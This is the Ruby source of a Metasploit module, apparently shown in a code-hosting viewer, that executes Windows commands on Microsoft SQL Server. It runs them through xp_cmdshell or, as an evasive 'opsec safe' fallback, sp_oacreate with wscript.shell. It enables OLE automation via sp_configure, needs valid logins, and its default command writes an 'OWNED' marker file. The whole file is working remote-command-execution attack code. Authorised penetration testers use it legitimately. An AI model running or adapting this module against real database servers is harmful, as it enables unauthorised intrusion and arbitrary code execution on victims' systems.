Dean Welch
70 lines
2.4 KiB
Ruby
70 lines
2.4 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::MSSQL
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include Msf::OptionalSession::MSSQL
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def initialize(info = {})
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super(
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update_info(
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info,
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'Name' => 'Microsoft SQL Server Command Execution',
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'Description' => %q{
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This module will execute a Windows command on a MSSQL/MSDE instance via the xp_cmdshell (default) or the
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sp_oacreate procedure (more opsec safe, no output, no temporary data table). A valid username and password is
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required to use this module.
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},
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'Author' =>
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[
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'tebo <tebo[at]attackresearch.com>',
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'arcc <pw[at]evait.de>'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'URL', 'http://msdn.microsoft.com/en-us/library/cc448435(PROT.10).aspx'],
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[ 'URL', 'https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-oacreate-transact-sql'],
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],
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)
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)
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register_options([
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OptString.new('CMD', [ false, 'Command to execute', 'cmd.exe /c echo OWNED > C:\\owned.exe']),
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OptEnum.new('TECHNIQUE', [true, 'Technique to use for command execution', 'xp_cmdshell', ['xp_cmdshell', 'sp_oacreate']])
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])
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end
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def run
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if session
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set_session(session.client)
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else
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return unless mssql_login_datastore
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end
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technique = datastore['TECHNIQUE']
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case technique
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when 'xp_cmdshell'
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begin
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mssql_xpcmdshell(datastore['CMD'], true)
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rescue RuntimeError
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print_status('Error while running "xp_cmdshell" method...retrying with "sp_oacreate" method')
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mssql_spoacreate
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end
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when 'sp_oacreate'
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mssql_spoacreate
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end
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end
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def mssql_spoacreate
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doprint = datastore['VERBOSE']
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print_status('Enabling advanced options and ole automation procedures.')
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mssql_query("EXEC sp_configure 'show advanced options', 1; RECONFIGURE;", doprint)
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mssql_query("EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;", doprint)
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print_good('Executing command using sp_oacreate. No output will be displayed.')
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mssql_query("DECLARE @mssql INT; EXEC sp_oacreate 'wscript.shell',@mssql OUTPUT; EXEC sp_oamethod @mssql, 'run', null, '#{datastore['CMD']}';", doprint)
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end
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end
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